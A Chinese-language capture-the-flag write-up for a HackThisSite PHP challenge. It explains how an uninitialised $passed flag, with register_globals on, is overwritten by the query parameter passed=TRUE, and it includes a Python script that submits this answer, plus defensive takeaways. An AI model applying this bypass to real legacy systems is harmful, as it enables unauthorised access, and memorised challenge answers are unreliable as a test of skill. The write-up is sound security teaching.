Challenge
This site is run by a new sysadmin who does not know much about web
configuration. The script is located at http://moo.com/moo.php Attempt
to make the script think you are authed by entering the correct URI.
进入正确的 URI,让脚本以为你已经通过认证。
关卡页给出脚本 me.php 的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php $user = $_GET ['user' ]; $pass = $_GET ['pass' ]; if (isAuthed ($user ,$pass )) { $passed = TRUE ; } if ($passed == TRUE ) { echo 'you win' ; } ?> <form action="me.php" method="get" > <input type="text" name="user" /> <input type="password" name="pass" /> </form> <?php function isAuthed ($a ,$b ) { return FALSE ; } ?>
页面底部还有一行全局提醒:All missions are case sensitive. I tried to keep them lowercase however.。答案大小写敏感。
Solution
isAuthed($a,$b) 的返回值写死为
FALSE,所以走正常表单提交
user/pass,if (isAuthed($user,$pass))
永远不成立,$passed = TRUE
这一行根本不会执行 。想从凭据这条路进去是没有出口的。
脚本只从 $_GET 里取了 user 和
pass,$passed
在整个文件里没有任何赋值默认值的语句:
1 2 3 4 $user = $_GET ['user' ];$pass = $_GET ['pass' ];if (isAuthed ($user ,$pass )) { $passed = TRUE ; }if ($passed == TRUE ) { echo 'you win' ; }
如果 $passed 只是一个普通的未定义局部变量,第二个
if
恒为假,这题无从下手。题面第一句正是钥匙:new sysadmin who does not know much about web configuration ,一个不懂
Web 配置的管理员,对应的就是最典型的一项 PHP
配置错误:register_globals = On。
当 register_globals 打开时,PHP
会在脚本运行前把查询字符串里的每个键自动导入成同名全局变量 。于是
URL 里的 passed 会直接落到脚本的 $passed
上,完全绕过 isAuthed() 这条分支。
要让 $passed == TRUE 成立,只需在 URL 上挂一个
passed 参数:
1 http://moo.com/moo.php?passed=TRUE
PHP 的松散比较 ==
在两侧类型不同时会做类型转换:字符串和布尔值比较时,字符串被转成布尔值,任何非空且非
"0" 的字符串都为真。因此
"TRUE" == TRUE 求值为 true,脚本进入
if 分支并输出 you win。
值按源码里惯用的写法给 TRUE。
formkey
每次加载关卡页都会变,取页面和提交必须在同一次运行里完成。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import osimport reimport urllib.parseimport urllib.requestUA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/131.0.0.0 Safari/537.36" ) BASE = "https://www.hackthissite.org" LEVEL = BASE + "/missions/playit/extbasic/6/" TEMPLATE = BASE + "/missions/extbasic/template.php" COOKIE = os.environ["HTS_COOKIE" ] ANSWER = "http://moo.com/moo.php?passed=TRUE" def fetch (url, referer=None ): headers = {"Cookie" : COOKIE, "User-Agent" : UA} if referer: headers["Referer" ] = referer req = urllib.request.Request(url, headers=headers) return urllib.request.urlopen(req, timeout=30 ).read().decode("utf-8" , "replace" ) def main (): page = fetch(LEVEL) formkey = re.search(r'name="formkey"\s+value="([^"]+)"' , page).group(1 ) data = urllib.parse.urlencode( {"formkey" : formkey, "lvl" : "6" , "pass" : ANSWER}).encode() req = urllib.request.Request( TEMPLATE, data=data, headers={"Cookie" : COOKIE, "User-Agent" : UA, "Content-Type" : "application/x-www-form-urlencoded" , "Referer" : LEVEL}) print (urllib.request.urlopen(req, timeout=30 ).read().decode("utf-8" , "replace" )) if __name__ == "__main__" : main()
Key points
register_globals
会把查询字符串的键自动提升为全局变量,攻击者可以覆盖脚本本应自己掌控的标志位(如
$passed)
判断是否登录/是否通过的标志必须由服务端在可信逻辑里赋值,不能依赖任何用户可控的名字
认证分支不可达时,漏洞往往在缺失的初始化 和宽松比较 上,而不是在比较内容上
== 的类型转换让 "TRUE" == TRUE
为真;权限判断应使用 === 并显式校验类型
register_globals 早已在 PHP 5.4 中被移除,现代 PHP
不再存在这条路径